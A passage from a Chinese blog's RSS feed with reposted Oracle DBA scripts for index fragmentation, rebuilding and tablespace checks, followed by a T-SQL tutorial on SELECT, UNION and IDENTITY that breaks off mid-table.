num_rows<br />from user_tables<br />where table_name='表名'<br />/ </td></tr></tbody></table><br />　　第四，索引的选择性=索引里不同关键字的数目/表中行的总数：<br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>select i.distinct_keys/t.num_rows<br />from<br />user_indexes i,<br />user_tables t<br />where i.table_name='表名'<br />and i.index_name='索引名'<br />and i.table_name=t.table_name<br />/</td></tr></tbody></table><br />　　第五，可以查询USER_TAB_COLUMNS以了解每个列的选择性。<br /><br />　　表中所有行在该列的不同值的数目：<br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>select<br />column_name,<br />num_distinct<br />from user_tab_columns<br />where table_name='表名'<br />/</td></tr></tbody></table><br />　　列的选择性=NUM_DISTINCT/表中所有行的总数，查询USER_TAB_COLUMNS有助测量每个列的选择性，但它并不能精确地测量列的并置组合的选择性。要想测量一组列的选择性，需要采用手工方法或者根据这组列创建一个索引并重新分析表。<br /><br />　　<b>四. 确定索引的实际碎片</b><br /><br />　　随着数据库的使用，不可避免地对基本表进行插入，更新和删除，这样导致叶子行在索引中被删除，使该索引产生碎片。插入删除越频繁的表，索引碎片的程度也越高。碎片的产生使访问和使用该索引的I/O成本增加。碎片较高的索引必须重建以保持最佳性能。<br /><br />　　（1）利用验证索引命令对索引进行验证。<br /><br />　　这将有价值的索引信息填入index_stats表。<br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>validate index 用户名.索引名<br />/</td></tr></tbody></table><br />　　（2）查询index_stats表以确定索引中删除的、未填满的叶子行的百分比。<br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>select<br />name,<br />del_lf_rows,<br />lf_rows,<br />round((del_lf_rows/(lf_rows+0.0000000001))*100) "Frag Percent"<br />from index_stats<br />/</td></tr></tbody></table><br />　　（3）如果索引的叶子行的碎片超过10%，考虑对索引进行重建。<br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>alter index 用户名.索引名 rebuild<br />tablespace 表空间名<br />storage(initial 初始值 next 扩展值)<br />nologging<br />/</td></tr></tbody></table><br />　　（4）如果出于空间或其他考虑，不能重建索引，可以整理索引。<br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>alter index用户名.索引名 coalesce<br />/</td></tr></tbody></table><br />　　（5）清除分析信息<br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>analyze index 用户名.索引名<br />delete statistics<br />/</td></tr></tbody></table><p><br /> </p><p>五. 重建索引</p><p>　　（1）检查需要重建的索引。</p><p>　　根据以下几方面进行检查，确定需要重建的索引。</p><p>　　第一，查看SYSTEM表空间中的用户索引。</p><p>　　为了避免数据字典的碎片出现，要尽量避免在SYSTEM表空间出现用户的表和索引。</p><p>select index_name <br />from dba_indexes <br />where tablespace_name='SYSTEM' <br />and owner not in ('SYS','SYSTEM')<br />/ </p><p>　　第二，确保用户的表和索引不在同一表空间内。</p><p>　　表和索引对象的第一个规则是把表和索引分离。把表和相应的索引建立在不同的表空间中，最好在不同的磁盘上。这样可以避免在数据管理和查询时出现的许多I/O冲突。</p><p>set linesize 120<br />col "OWNER" format a20<br />col "INDEX" format a30<br />col "TABLE" format a30<br />col "TABLESPACE" format a30<br />select<br />i.owner "OWNER", <br />i.index_name "INDEX",<br />t.table_name "TABLE",<br />i.tablespace_name "TABLESPACE"<br />from <br />dba_indexes i,<br />dba_tables t<br />where i.owner=t.owner<br />and i.table_name=t.table_name<br />and i.tablespace_name=t.tablespace_name<br />and i.owner not in ('SYS','SYSTEM')<br />/ </p><p>　　第三，查看数据表空间里有哪些索引</p><p>　　用户的默认表空间应该不是SYSTEM表空间，而是数据表空间。在建立索引时，如果不指定相应的索引表空间名，那么，该索引就会建立在数据表空间中。这是程序员经常忽略的一个问题。应该在建索引时，明确的指明相应的索引表空间。</p><p>col segment_name format a30<br />select <br />owner,<br />segment_name,<br />sum(bytes) <br />from dba_segments<br />where tablespace_name='数据表空间名'<br />and segment_type='INDEX'<br />group by owner,segment_name<br />/ </p><p>　　第四，查看哪个索引被扩展了超过10次</p><p>　　随着表记录的增加，相应的索引也要增加。如果一个索引的next extent值设置不合理（太小），索引段的扩展变得很频繁。索引的extent太多，检索时的速度和效率就会降低。</p><p>set linesize 100<br />col owner format a10<br />col segment_name format a30<br />col tablespace_name format a30<br />select<br />count(*),<br />owner,<br />segment_name,<br />tablespace_name<br />from dba_extents<br />where segment_type='INDEX'<br />and owner not in ('SYS','SYSTEM')<br />group by owner,segment_name,tablespace_name<br />having count(*) &gt;10<br />order by count(*) desc<br />/<br /> </p><p>　　（2）找出需要重建的索引后，需要确定索引的大小，以设置合理的索引存储参数。</p><p>set linesize 120<br />col "INDEX" format a30<br />col "TABLESPACE" format a20<br />select<br />owner "OWNER",<br />segment_name "INDEX",<br />tablespace_name "TABLESPACE",<br />bytes "BYTES/COUNT",<br />sum(bytes) "TOTAL BYTES",<br />round(sum(bytes)/(1024*1024),0) "TOTAL M",<br />count(bytes) "TOTAL COUNT"<br />from dba_extents<br />where segment_type='INDEX' <br />and segment_name in <br />(<br />'索引名1',<br />'索引名2',<br />......<br />)<br />group by owner,segment_name,segment_type,tablespace_name,bytes<br />order by owner,segment_name<br />/ </p><p>　　（3）确定索引表空间还有足够的剩余空间。</p><p>　　确定要把索引重建到哪个索引表空间中。要保证相应的索引表空间有足够的剩余空间。</p><p>select round(bytes/(1024*1024),2) free(M)<br />from sm$ts_free<br />where tablespace_name='表空间名'<br />/ </p><p>　　（4）重建索引。</p><p>　　重建索引时要注意以下几点：</p><p>　　a.如果不指定tablespace名，索引将建在用户的默认表空间。</p><p>　　b.如果不指定nologging，将会写日志，导致速度变慢。由于索引的重建没有恢复的必要，所以，可以不写日志。</p><p>　　c.如果出现资源忙，表明有进程正在使用该索引，等待一会再提交。</p><p>alter index 索引名<br />rebuild<br />tablespace 索引表空间名<br />storage(initial 初始值 next 扩展值)<br />nologging<br />/ </p><p>　　（5）检查索引。</p><p>　　对重建好的索引进行检查。</p><p>select *<br />from dba_extents<br />where segment_name='索引名'<br />/ </p><p>　　（6）根据索引进行查询，检查索引是否有效</p><p>　　使用相应的where条件进行查询，确保使用该索引。看看使用索引后的效果如何。</p><p>select *<br />from dba_ind_columns<br />where index_name like '表名%'<br />/ </p><p>　　然后，根据相应的索引项进行查询。</p><p>select *<br />from '表名%'<br />where ......<br />/ </p><p>　　（6）找出有碎片的表空间，并收集其碎片。</p><p>　　重建索引后，原有的索引被删除，这样会造成表空间的碎片。</p><p>select 'alter tablespace '||tablespace_name||' coalesce;'<br />from dba_free_space_coalesced<br />where percent_blocks_coalesced!=100<br />/ </p><p>　　整理表空间的碎片。</p><p>alter tablespace 表空间名 coalesce<br /></p><img src ="http://www.blogjava.net/19851985lili/aggbug/102519.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/19851985lili/" target="_blank">☜♥☞MengChuChen</a> 2007-03-08 08:45 <a href="http://www.blogjava.net/19851985lili/articles/102519.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title> Oracle 常用技巧和脚本 选择自 yanlixin4csdn 的 Blog </title><link>http://www.blogjava.net/19851985lili/articles/102517.html</link><dc:creator>☜♥☞MengChuChen</dc:creator><author>☜♥☞MengChuChen</author><pubDate>Thu, 08 Mar 2007 00:42:00 GMT</pubDate><guid>http://www.blogjava.net/19851985lili/articles/102517.html</guid><wfw:comment>http://www.blogjava.net/19851985lili/comments/102517.html</wfw:comment><comments>http://www.blogjava.net/19851985lili/articles/102517.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/19851985lili/comments/commentRss/102517.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/19851985lili/services/trackbacks/102517.html</trackback:ping><description><![CDATA[
		<script><![CDATA[unction StorePage(){d=document;t=d.selection?(d.selection.type!='None'?d.selection.createRange().text:''):(d.getSelection?d.getSelection():'');void(keyit=window.open('http://www.365key.com/storeit.aspx?t='+escape(d.title)+'&u='+escape(d.location.href)+'&c='+escape(t),'keyit','scrollbars=no,width=475,height=575,left=75,top=20,status=no,resizable=yes'));keyit.focus();}]]&gt;</script>
 
<div class="post"><div class="postTitle"><a href="http://blog.csdn.net/boysoft/articles/241156.aspx"><img height="13" src="http://blog.csdn.net/images/zhuan.gif" width="15" border="0" /><font color="#0000ff"> Oracle 常用技巧和脚本 选择自 yanlixin4csdn 的 Blog </font></a></div><div class="postText"> 如何查看ORACLE的隐含参数？ <br /><br /><br />ORACLE的显式参数，除了在INIT.ORA文件中定义的外，在svrmgrl中用"show parameter *"，可以显示。但ORACLE还有一些参数是以“_”，开头的。如我们非常熟悉的“_offline_rollback_segments”等。 <br /><br />这些参数可在sys.x$ksppi表中查出。 <br /><br />语句：“select ksppinm from x$ksppi where substr(ksppinm,1,1)='_'; ” <br /><br /><br /><br /><br />2. 如何查看安装了哪些ORACLE组件？ <br /><br />进入${ORACLE_HOME}/orainst/，运行./inspdver，显示安装组件和版本号。 <br /><br /><br /><br />3. 如何查看ORACLE所占用共享内存的大小？ <br /><br />可用UNIX命令“ipcs”查看共享内存的起始地址、信号量、消息队列。 <br /><br />在svrmgrl下，用“oradebug ipc”，可看出ORACLE占用共享内存的分段和大小。 <br /><br />example: <br /><br />SVRMGR&gt; oradebug ipc <br />-------------- Shared memory -------------- <br /><br />Seg Id Address Size <br />1153 7fe000 784 <br />1154 800000 419430400 <br />1155 19800000 67108864 <br /><br /><br />4. 如何查看当前SQL*PLUS用户的sid和serial#? <br /><br />在SQL*PLUS下，运行： <br /><br />“select sid, serial#, status from v$session <br /><br />where audsid=userenv('sessionid');” <br /><br /><br /><br />5. 如何查看当前数据库的字符集？ <br /><br />在SQL*PLUS下，运行： <br /><br />“select userenv('language') from dual;” <br /><br />或： <br /><br />“select userenv('lang') from dual;” <br /><br /><br /><br />6. 如何查看数据库中某用户，正在运行什么SQL语句？ <br /><br />根据MACHINE、USERNAME或SID、SERIAL#，连接表V$SESSION和V$SQLTEXT，可查出。 <br /><br />SQL*PLUS语句： <br /><br />“SELECT SQL_TEXT FROM V$SQL_TEXT T, V$SESSION S WHERE T.ADDRESS=S.SQL_ADDRESS <br /><br />AND T.HASH_VALUE=S.SQL_HASH_VALUE <br /><br />AND S.MACHINE='XXXXX' OR USERNAME='XXXXX' -- 查看某主机名，或用户名 <br /><br />/” <br /><br />7. 如何删除表中的重复记录？ <br /><br />例句： <br /><br />DELETE <br />FROM table_name a <br />WHERE rowid &gt; ( SELECT min(rowid) <br />FROM table_name b <br />WHERE b.pk_column_1 = a.pk_column_1 <br />and b.pk_column_2 = a.pk_column_2 ); <br /><br /><br />8. 手工临时强制改变服务器字符集 <br /><br />以sys或system登录系统，sql*plus运行：“create database character set us7ascii;". <br />有以下错误提示： <br />* create database character set US7ASCII <br />ERROR at line 1: <br />ORA-01031: insufficient privileges <br />实际上，看v$nls_parameters，字符集已更改成功。但重启数据库后，数据库字符集又变回原来的了。 <br />该命令可用于临时的不同字符集服务器之间数据倒换之用。 <br />9. 怎样查询每个instance分配的PCM锁的数目 <br /><br />用以下命令： <br /><br />select count(*) "Number of hashed PCM locks" from v$lock_element where bitand(flags,4)&lt;&gt;0 <br /><br />/ <br /><br />select count(*) "Number of fine grain PCM locks" from v$lock_element <br /><br />where bitand(flags,4)=0 <br /><br />/ <br /><br />10. 怎么判断当前正在使用何种SQL优化方式？ <br /><br />用explain plan产生EXPLAIN PLAN，检查PLAN_TABLE中ID=0的POSITION列的值。 <br /><br />e.g. <br /><br />select decode(nvl(position,-1),-1,'RBO',1,'CBO') from plan_table where id=0 <br /><br />/ <br /><br />11. 做EXPORT时，能否将DUMP文件分成多个？ <br /><br />ORACLE8I中EXP增加了一个参数FILESIZE，可将一个文件分成多个： <br /><br />EXP SCOTT/TIGER FILE=（ORDER_1.DMP,ORDER_2.DMP,ORDER_3.DMP) FILESIZE=1G TABLES=ORDER； <br /><br /><br /><br />其他版本的ORACLE在UNIX下可利用管道和split分割： <br /><br />mknod pipe p <br /><br />split -b 2048m pipe order &amp; #将文件分割成，每个2GB大小的，以order为前缀的文件： <br /><br />#orderaa,orderab,orderac,... 并将该进程放在后台。 <br /><br />EXP SCOTT/TIGER FILE=pipe tables=order<img height="1" src="http://www.pcbookcn.com/down_info.asp?id=572" width="1" border="0" /><br /></div></div><img src ="http://www.blogjava.net/19851985lili/aggbug/102517.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/19851985lili/" target="_blank">☜♥☞MengChuChen</a> 2007-03-08 08:42 <a href="http://www.blogjava.net/19851985lili/articles/102517.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title> ORACLE 杂谈 </title><link>http://www.blogjava.net/19851985lili/articles/102514.html</link><dc:creator>☜♥☞MengChuChen</dc:creator><author>☜♥☞MengChuChen</author><pubDate>Thu, 08 Mar 2007 00:40:00 GMT</pubDate><guid>http://www.blogjava.net/19851985lili/articles/102514.html</guid><wfw:comment>http://www.blogjava.net/19851985lili/comments/102514.html</wfw:comment><comments>http://www.blogjava.net/19851985lili/articles/102514.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/19851985lili/comments/commentRss/102514.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/19851985lili/services/trackbacks/102514.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: ORACLE 杂谈ORACLE 面试问题-技术篇（1）ORACLE 面试问题-技术篇（1）   这也许是你一直期待的文章，在关注这部分技术问题的同时，请务必阅读有关面试中有关个人的问题和解答（这部分将在下几期中出现）。这里的回答并不是十分全面，这些问题可以通过多个角度来进行解释，也许你不必在面试过程中给出完全详尽的答案，只需要通过你的解答使面试考官了解你对ORACLE概念的熟悉程度。 1. 解释冷...&nbsp;&nbsp;<a href='http://www.blogjava.net/19851985lili/articles/102514.html'>阅读全文</a><img src ="http://www.blogjava.net/19851985lili/aggbug/102514.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/19851985lili/" target="_blank">☜♥☞MengChuChen</a> 2007-03-08 08:40 <a href="http://www.blogjava.net/19851985lili/articles/102514.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title> 常用SQL资料 </title><link>http://www.blogjava.net/19851985lili/articles/102516.html</link><dc:creator>☜♥☞MengChuChen</dc:creator><author>☜♥☞MengChuChen</author><pubDate>Thu, 08 Mar 2007 00:40:00 GMT</pubDate><guid>http://www.blogjava.net/19851985lili/articles/102516.html</guid><wfw:comment>http://www.blogjava.net/19851985lili/comments/102516.html</wfw:comment><comments>http://www.blogjava.net/19851985lili/articles/102516.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/19851985lili/comments/commentRss/102516.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/19851985lili/services/trackbacks/102516.html</trackback:ping><description><![CDATA[
		<div class="postTitle">
				<a href="http://blog.csdn.net/boysoft/articles/241173.aspx">
						<img height="13" src="http://blog.csdn.net/images/zhuan.gif" width="15" border="0" />
						<font color="#0000ff"> 常用SQL资料 </font>
				</a>
		</div>
		<div class="postText">
				<div>Transact-SQL具体可以参阅《Transact-SQL参考》(tsql.hlp)(简写《T-SQL》)</div>
				<div> </div>
				<div>建意：</div>
				<div>  在写SQL Script时最好能将数据操作SQL的保留字用大写</div>
				<div>注：</div>
				<div>此处语法格式只是常用格式，并不是SQL标准格式，标准格式请参阅《T-SQL》</div>
				<div>（在例子中的SQL无实际意义）</div>
				<div> </div>
				<div>选择</div>
				<div>SELECT</div>
				<div>SELECT 可以选择指定的数据列</div>
				<div>如：</div>
				<div>SELECT * FROM sysobjects</div>
				<div>SELECT [name] FROM syscolumns</div>
				<div>当在SQL中存在系统保留字时应用“[]”引起，或在SQL中存在特殊字符也应用“[]”引起，</div>
				<div>如：</div>
				<div>       SELECT [Object Name] FROM Objects</div>
				<div>在使用别名时也应注意以上原则，别名使用可以用以下两种方法：</div>
				<div>       Column_name AS alias</div>
				<div>       Column_name alias</div>
				<div>中间的AS可以省略</div>
				<div>在SELECT中可以使用条件选择语法，参见下面的“条件”</div>
				<div>       如：</div>
				<div>              SELECT [name],xtype,CASE WHEN xtype=’U’ THEN ‘用户表’ ELSE CASE WHEN xtype=’S’ THEN ‘系统表’ END END AS 类型 FROM sysobjects</div>
				<div>返回表：</div>
				<div align="center">
						<table cellspacing="0" cellpadding="0" border="1">
								<tbody>
										<tr>
												<td width="92">
														<div align="center">name</div>
												</td>
												<td width="58">
														<div align="center">xtype</div>
												</td>
												<td width="68">
														<div align="center">类型</div>
												</td>
										</tr>
										<tr>
												<td width="92">
														<div align="center">syscolumns</div>
												</td>
												<td width="58">
														<div align="center">S</div>
												</td>
												<td width="68">
														<div align="center">系统表</div>
												</td>
										</tr>
										<tr>
												<td width="92">
														<div align="center">tabledefine</div>
												</td>
												<td width="58">
														<div align="center">U</div>
												</td>
												<td width="68">
														<div align="center">用户表</div>
												</td>
										</tr>
								</tbody>
						</table>
				</div>
				<div> </div>
				<div>将两个查询合成单独的返回表：</div>
				<div>用UNION关键字</div>
				<div>如SELECT A,B FROM Table1</div>
				<div>  UNOIN </div>
				<div>  SELECT C,D FROM Table2</div>
				<div>说明：</div>
				<div>       在使用UNION时，若无ALL参数则默认将过虑相同的记录，</div>
				<div>       如：</div>
				<div align="center">
						<table cellspacing="0" cellpadding="0" border="1">
								<tbody>
										<tr>
												<td valign="top" width="186" colspan="3">
														<div align="center">Table1</div>
												</td>
												<td valign="top" width="67">
														<div align="center"> </div>
												</td>
												<td valign="top" width="187" colspan="3">
														<div align="center">Table2</div>
												</td>
										</tr>
										<tr>
												<td valign="top" width="41">
														<div align="center">ID</div>
												</td>
												<td width="66">
														<div align="center">TF1</div>
												</td>
												<td width="79">
														<div align="center">VALUE1</div>
												</td>
												<td width="67">
														<div align="center"> </div>
												</td>
												<td valign="top" width="41">
														<div align="center">ID</div>
												</td>
												<td width="66">
														<div align="center">TF2</div>
												</td>
												<td width="80">
														<div align="center">VALUE2</div>
												</td>
										</tr>
										<tr>
												<td valign="top" width="41">
														<div align="center">1</div>
												</td>
												<td width="66">
														<div align="center">A</div>
												</td>
												<td width="79">
														<div align="center">10</div>
												</td>
												<td width="67">
														<div align="center"> </div>
												</td>
												<td valign="top" width="41">
														<div align="center">5</div>
												</td>
												<td width="66">
														<div align="center">A</div>
												</td>
												<td width="80">
														<div align="center">10</div>
												</td>
										</tr>
										<tr>
												<td valign="top" width="41">
														<div align="center">5</div>
												</td>
												<td width="66">
														<div align="center">B</div>
												</td>
												<td width="79">
														<div align="center">20</div>
												</td>
												<td width="67">
														<div align="center"> </div>
												</td>
												<td valign="top" width="41">
														<div align="center">6</div>
												</td>
												<td width="66">
														<div align="center">D</div>
												</td>
												<td width="80">
														<div align="center">21</div>
												</td>
										</tr>
										<tr>
												<td valign="top" width="41">
														<div align="center">2</div>
												</td>
												<td width="66">
														<div align="center">A</div>
												</td>
												<td width="79">
														<div align="center">30</div>
												</td>
												<td width="67">
														<div align="center"> </div>
												</td>
												<td valign="top" width="41">
														<div align="center">3</div>
												</td>
												<td width="66">
														<div align="center">C</div>
												</td>
												<td width="80">
														<div align="center">31</div>
												</td>
										</tr>
										<tr>
												<td valign="top" width="41">
														<div align="center">3</div>
												</td>
												<td width="66">
														<div align="center">C</div>
												</td>
												<td width="79">
														<div align="center">40</div>
												</td>
												<td width="67">
														<div align="center"> </div>
												</td>
												<td valign="top" width="41">
														<div align="center">1</div>
												</td>
												<td width="66">
														<div align="center">B</div>
												</td>
												<td width="80">
														<div align="center">41</div>
												</td>
										</tr>
								</tbody>
						</table>
				</div>
				<div>       SELECT TF1,VALUE1 FROM Table1</div>
				<div>       UNION </div>
				<div>       SELECT TF2,VALUE2 FROM Table2<br />       返回表： </div>
				<div>              </div>
				<div align="center">
						<table cellspacing="0" cellpadding="0" border="1">
								<tbody>
										<tr>
												<td width="66">
														<div align="center">TF1</div>
												</td>
												<td width="79">
														<div align="center">VALUE1</div>
												</td>
										</tr>
										<tr>
												<td width="66">
														<div align="center">A</div>
												</td>
												<td width="79">
														<div align="center">10</div>
												</td>
										</tr>
										<tr>
												<td width="66">
														<div align="center">B</div>
												</td>
												<td width="79">
														<div align="center">20</div>
												</td>
										</tr>
										<tr>
												<td width="66">
														<div align="center">A</div>
												</td>
												<td width="79">
														<div align="center">30</div>
												</td>
										</tr>
										<tr>
												<td width="66">
														<div align="center">C</div>
												</td>
												<td width="79">
														<div align="center">40</div>
												</td>
										</tr>
										<tr>
												<td width="66">
														<div align="center">D</div>
												</td>
												<td width="79">
														<div align="center">21</div>
												</td>
										</tr>
										<tr>
												<td width="66">
														<div align="center">C</div>
												</td>
												<td width="79">
														<div align="center">31</div>
												</td>
										</tr>
										<tr>
												<td width="66">
														<div align="center">B</div>
												</td>
												<td width="79">
														<div align="center">41</div>
												</td>
										</tr>
								</tbody>
						</table>
				</div>
				<div>       其中可以看出少了一个”TF2=A ,VALUE2=10”的记录</div>
				<div>       但用以下查询时</div>
				<div>       SELECT TF1,VALUE1 FROM Table1</div>
				<div>       UNION  ALL</div>
				<div>       SELECT TF2,VALUE2 FROM Table2</div>
				<div>       返回表：</div>
				<div>              </div>
				<div align="center">
						<table cellspacing="0" cellpadding="0" border="1">
								<tbody>
										<tr>
												<td width="66">
														<div align="center">TF1</div>
												</td>
												<td width="79">
														<div align="center">VALUE1</div>
												</td>
										</tr>
										<tr>
												<td width="66">
														<div align="center">A</div>
												</td>
												<td width="79">
														<div align="center">10</div>
												</td>
										</tr>
										<tr>
												<td width="66">
														<div align="center">B</div>
												</td>
												<td width="79">
														<div align="center">20</div>
												</td>
										</tr>
										<tr>
												<td width="66">
														<div align="center">A</div>
												</td>
												<td width="79">
														<div align="center">30</div>
												</td>
										</tr>
										<tr>
												<td width="66">
														<div align="center">C</div>
												</td>
												<td width="79">
														<div align="center">40</div>
												</td>
										</tr>
										<tr>
												<td width="66">
														<div align="center">A</div>
												</td>
												<td width="79">
														<div align="center">10</div>
												</td>
										</tr>
										<tr>
												<td width="66">
														<div align="center">D</div>
												</td>
												<td width="79">
														<div align="center">21</div>
												</td>
										</tr>
										<tr>
												<td width="66">
														<div align="center">C</div>
												</td>
												<td width="79">
														<div align="center">31</div>
												</td>
										</tr>
										<tr>
												<td width="66">
														<div align="center">B</div>
												</td>
												<td width="79">
														<div align="center">41</div>
												</td>
										</tr>
								</tbody>
						</table>
				</div>
				<div>       刚此查询将返回所有记录</div>
				<div>       此问题可能会出现在报表统计上，如一个员工在不同日期内做了相同的产品与数据，但在使用非ALL方式进行合计时将会少合计一条记录</div>
				<div> </div>
				<div>与INTO联用</div>
				<div>SELECT …. INTO B FROM A</div>
				<div>可以将A 表的指定数据存入B表中</div>
				<div>应用类型：</div>
				<div>备份数据表：</div>
				<div>              SELECT * INTO Table1_bak FROM Table1</div>
				<div>       创建新表</div>
				<div>              SELECT * INTO New_Table1 FROM Table1 WHERE 1&lt;&gt;1</div>
				<div>              SELECT TOP 0 * INTO New_Table1 FROM Table1</div>
				<div>       保存查询结果</div>
				<div>              SELECT Field1,Field2 INTO Result FROM Table1 WHERE ID&gt;1000</div>
				<div>       创建新表并在新表中加入自动序号</div>
				<div>              一表有些表需要一个自动编号列来区别于各行</div>
				<div>              SELECT IDENTITY (INT,1,1) AS AutoId,* INTO new_Table1 FROM Table1</div>
				<div>              其中IDENTITY函数说明：</div>
				<div>                     格式：</div>
				<div>                            IDENTITY (&lt;datatype&gt; [seed,increment])</div>
				<div>                     参数说明：</div>
				<div>                            Datatype:数据类型，视记录数定类型，一般可以定INT型，具体可以参考SQL的极限参数</div>
				<div>                            Seed:开始数值，即开始的基数，默认为1</div>
				<div>                            Increment:增量，步长即数据间的间隔，默认为1</div>
				<div>              上面的SQL即表示，自动编号从1开始并每行加1</div>
				<div>返回的表为：</div>
				<div align="center">
						<table cellspacing="0" cellpadding="0" border="1">
								<tbody>
										<tr>
												<td width="66">
														<div align="center">AutoId</div>
												</td>
												<td width="62">
														<div align="center">Field1</div>
												</td>
												<td width="62">
														<div align="center">Field2</div>
												</td>
										</tr>
										<tr>
												<td width="66">
														<div align="center">1</div>
												</td>
												<td width="62">
														<div align="center">Hello</div>
												</td>
												<td width="62">
														<div align="center">Joy</div>
												</td>
										</tr>
										<tr>
												<td width="66">
														<div align="center">2</div>
												</td>
												<td width="62">
														<div align="center">Hello</div>
												</td>
												<td width="62">
														<div align="center">Tom</div>
												</td>
										</tr>
										<tr>
												<td width="66">
														<div align="center">3</div>
												</td>
												<td width="62">
														<div align="center">Hi</div>
												</td>
												<td width="62">
														<div align="center">Lily</div>
												</td>
										</tr>
										<tr>
												<td width="66">
														<div align="center">4</div>
												</td>
												<td width="62">
														<div align="center">Hello</div>
												</td>
												<td width="62">
														<div align="center">Lily</div>
												</td>
										</tr>
								</tbody>
						</table>
				</div>
				<div>              注：</div>
				<div>                     IDENTITY还可以在创建表时设置</div>
				<div>                     格式：</div>
				<div>                            IDENTITY ([seed, increment])</div>
				<div>                     如：</div>
				<div>                            创建表</div>
				<div>                            CREATE TABLE Table1 (</div>
				<div>                                   AutoId int IDENTITY(1,1), 或 autoid int identity</div>
				<div>                                   Field1 nvarchar(30),</div>
				<div>                                   Field2 nvarchar(30)</div>
				<div>)</div>
				<div>                            修改表</div>
				<div>                            ALTER TABLE Table1 ADD AutoId int IDENTITY (1,1)</div>
				<div>              在进行数据插入时应注意IDENTITY_INSERT这个属性的设置</div>
				<div>                     当 SET IDENTITY_INSERT &lt;table&gt; ON 时，则不能进行隐式插入</div>
				<div>                     如：</div>
				<div>                            SET IDENTITY_INSERT Table1 ON</div>
				<div>                            INSERT INTO Table1 SELECT (‘r1c1’,’r1c2’)         --这样就会出错</div>
				<div>                            必需使用：</div>
				<div>                            INSERT INTO Table1 SELECT (1,’R1C1’,’R1C2’)</div>
				<div>                     只能在SET IDENTITY_INSERT &lt;table&gt; OFF 时才允许隐式插入</div>
				<div>                     如：</div>
				<div>                            SET IDENTITY_INSERT Table OFF</div>
				<div>必需使用：</div>
				<div>                            INSERT INTO Table1 SELECT (‘r1c1’,’r1c2’)         </div>
				<div>                            否则</div>
				<div>                            INSERT INTO Table1 SELECT (1,’R1C1’,’R1C2’) --这样就会出错</div>
				<div>              在使用隐式插入后可以用@@IDENTITY这个系统值来返回插入行的编号</div>
				<div>                     INSERT INTO Table1 SELECT(‘R1C1’,’R1C2’)</div>
				<div>                     返回表：</div>
				<div align="center">
						<table cellspacing="0" cellpadding="0" border="1">
								<tbody>
										<tr>
												<td width="69">
														<div align="center">AutoID</div>
												</td>
												<td width="62">
														<div align="center">Field1</div>
												</td>
												<td width="62">
														<div align="center">Field2</div>
												</td>
										</tr>
										<tr>
												<td width="69">
														<div align="center">1</div>
												</td>
												<td width="62">
														<div align="center">R1C1</div>
												</td>
												<td width="62">
														<div align="center">R1C2</div>
												</td>
										</tr>
								</tbody>
						</table>
				</div>
				<div>                     SELECT @@IDENTITY</div>
				<div>                     返回值：</div>
				<div>                            1</div>
				<div>              在应用程序中可以用以下方法做：</div>
				<div>                     set recs=cnn.execute(“INSERT INTO Table1 SELECT(‘R1C1’,’R1C2’)”)</div>
				<div>                     recordnum=cnn.execute(“SELECT @@IDENTITY”).fields(0).value</div>
				<div>                     以上语句执行后recordnum的值将设置为最后一个自动编号</div>
				<div> </div>
				<div align="left">关联</div>
				<div align="left">       用例:</div>
				<div align="center">
						<table cellspacing="0" cellpadding="0" border="1">
								<tbody>
										<tr>
												<td valign="top" width="186" colspan="3">
														<div align="center">Table1</div>
												</td>
												<td valign="top" width="67">
														<div align="center"> </div>
												</td>
												<td valign="top" width="187" colspan="3">
														<div align="center">Table2</div>
												</td>
										</tr>
										<tr>
												<td valign="top" width="41">
														<div align="center">ID</div>
												</td>
												<td width="66">
														<div align="center">TF1</div>
												</td>
												<td width="79">
														<div align="center">VALUE1</div>
												</td>
												<td width="67">
														<div align="center"> </div>
												</td>
												<td valign="top" width="41">
														<div align="center">ID</div>
												</td>
												<td width="66">
														<div align="center">TF2</div>
												</td>
												<td width="80">
														<div align="center">VALUE2</div>
												</td>
										</tr>
										<tr>
												<td valign="top" width="41">
														<div align="center">1</div>
												</td>
												<td width="66">
														<div align="center">TFI1-1</div>
												</td>
												<td width="79">
														<div align="center">10</div>
												</td>
												<td width="67">
														<div align="center"> </div>
												</td>
												<td valign="top" width="41">
														<div align="center">5</div>
												</td>
												<td width="66">
														<div align="center">TFI2-1</div>
												</td>
												<td width="80">
														<div align="center">11</div>
												</td>
										</tr>
										<tr>
												<td valign="top" width="41">
														<div align="center">5</div>
												</td>
												<td width="66">
														<div align="center">TFI1-2</div>
												</td>
												<td width="79">
														<div align="center">20</div>
												</td>
												<td width="67">
														<div align="center"> </div>
												</td>
												<td valign="top" width="41">
														<div align="center">6</div>
												</td>
												<td width="66">
														<div align="center">TFI2-2</div>
												</td>
												<td width="80">
														<div align="center">21</div>
												</td>
										</tr>
										<tr>
												<td valign="top" width="41">
														<div align="center">2</div>
												</td>
												<td width="66">
														<div align="center">TFI1-3</div>
												</td>
												<td width="79">
														<div align="center">30</div>
												</td>
												<td width="67">
														<div align="center"> </div>
												</td>
												<td valign="top" width="41">
														<div align="center">3</div>
												</td>
												<td width="66">
														<div align="center">TFI2-3</div>
												</td>
												<td width="80">
														<div align="center">31</div>
												</td>
										</tr>
										<tr>
												<td valign="top" width="41">
														<div align="center">3</div>
												</td>
												<td width="66">
														<div align="center">TFI1-4</div>
												</td>
												<td width="79">
														<div align="center">40</div>
												</td>
